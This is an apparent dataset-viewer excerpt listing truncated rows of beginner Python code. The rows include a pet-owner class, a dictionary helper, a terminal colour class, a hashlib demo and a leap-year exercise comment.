def __init__(self, first_name, last_name, treats, pet_food, pet):
self.first_name = first_name
self.last_name = last_name
self.treats = treats
self.pet_food = pet_food
self.pet = pet
def walk(self):
self.pet.play()
def fe... |
1,696 | f3ff453655d7938cb417ce212f3836fabafaea43 |
def interseccao_chaves(lis_dic):
lista = []
for dic1 in lis_dic[0]:
for cahves in dic1:
lista.append(dic1)
for dic2 in lis_dic[1]:
for cahves in dic2:
lista.append(dic2)
return lista
|
1,697 | 2c834c734de8f8740176bb5dbb6b123c49924718 | #!/usr/bin/env python3
import os
import subprocess
import logging
class color:
PURPLE = '\033[95m'
CYAN = '\033[96m'
DARKCYAN = '\033[36m'
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
END = '\033[0m'
# Recov... |
1,698 | ab4c668c8a167f8c387199b7aa49aa742d563250 | import hashlib
md5 = hashlib.md5(b'Najmul')
print(md5.hexdigest())
sha1 = hashlib.sha1(b'Najmul')
print(sha1.hexdigest())
sha224 = hashlib.sha224(b'Najmul')
print(sha224.hexdigest())
sha256 = hashlib.sha256(b'Najmul')
print(sha256.hexdigest())
sha384 = hashlib.sha384(b'Najmul')
print(sha384.hexdigest())
sha512 = ... |
1,699 | 99e6e734c7d638e3cf4d50d9605c99d5e700e82a | # Дано натуральное число. Требуется определить,
# является ли год с данным номером високосным.
# Если год является високосным, то выведите `YES`, иначе выведите `NO`.
# Напомним, что в соответствии с григорианским календарем, год является високосным,
# если его номер кратен 4, но не кратен 100, а также если он кратен 4... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.